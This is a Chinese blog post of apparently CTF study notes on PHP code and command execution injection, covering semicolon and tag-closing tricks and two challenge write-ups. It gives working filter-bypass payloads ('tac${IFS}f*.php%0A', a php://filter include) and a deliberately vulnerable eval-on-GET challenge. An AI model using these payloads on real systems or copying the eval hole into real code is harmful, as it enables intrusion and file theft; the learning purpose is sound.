命令,代码执行漏洞进阶2

发布于 2022-11-29  282 次阅读


代码执行的分号

  • 在执行传参时,命令执行漏洞和代码执行漏洞有区别,代码执行漏洞函数可以执行传入的字符串(如eval,assert),把字符串当成函数来执行,而命令执行漏洞不行(如system)
  • 总之,代码执行函数接收的是字符串,命令执行函数执行的是函数
比如:
$a="hex2bin('77686f616d69')";//这个不行
$a=hex2bin('77686f616d69')//这个可以
system($a);
然而:
eval('eval(hex2bin(session_id(session_start())));');//是可以的
  • 代码执行函数可以执行上述传参,但是必须加;(分号),凯哥的解释是这样的:
eval(payload)
等价于
payload
  • 所以payload不加;是不行的

php标签闭环

  • 上一个文章提到命令/代码执行漏洞可以利用php标签来闭环,然而闭环可以有两种格式
这是我自己出的一个题目:

<?php
if(isset($_GET["a"]))
{
eval($_GET["a"].'no no no');
}
highlight_file(__file__);
?>

按道理说,想考标签闭环应该把%00,%0a这些东西过滤一下的,避免上一篇文章中将结果输出到黑洞那道题目的解法在这题可以使用,但是可能是因为在windows环境下用不了,那一道题目的解法不能用于本题.
  • 如果想看dir,有两种书写格式
下面这种格式是正确且完整的格式
?a=system(dir);?><?php eval('system(dir);');?>//后面那个随便写个函数测试一下,这里图方便,就又dir了一下

下面这种格式看上去很怪,第一个<?php?>的闭环语句中看上去并不完整,应该会报错才对
在师傅的指导下查阅了php手册,发现确实可以这样写
?a=?><?php eval('system(dir);');?>

分号绕过

  • 根据上面短标签的性质就能自然的得到对dir分号的绕过辣
需要写?a=system(dir);时
可以写成?a=system(dir)?>

两道例题的wp

输出到黑洞

<?php

//flag in flag.php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
  • 直接%0a,让后面不执行即可,比较坑的地方在于这题过滤了空格(不知道在哪里过滤的???)
  • ?c=tac${IFS}f*.php%0A即可

文件包含与执行漏洞结合

 <?php

error_reporting(0);
#flag in flag.php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
} 
  • 试了exec发现不行,就没有试了,结果最后用的passthru,,,
  • 先考虑一下过滤了哪些方法
'被过滤了自增|异或都用不了|;被过滤导致所有命令执行函数都用不了|经过测试,异或莫名其妙不行
  • 然而伪协议用到的字符不多,一般也就:|,|/|.|-|这四个,都没有过滤
  • 然而代码执行函数里面肯定是要有;的,分号被过滤就要用到上面的方法了
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
届ける言葉を今は育ててる
最后更新于 2024-02-07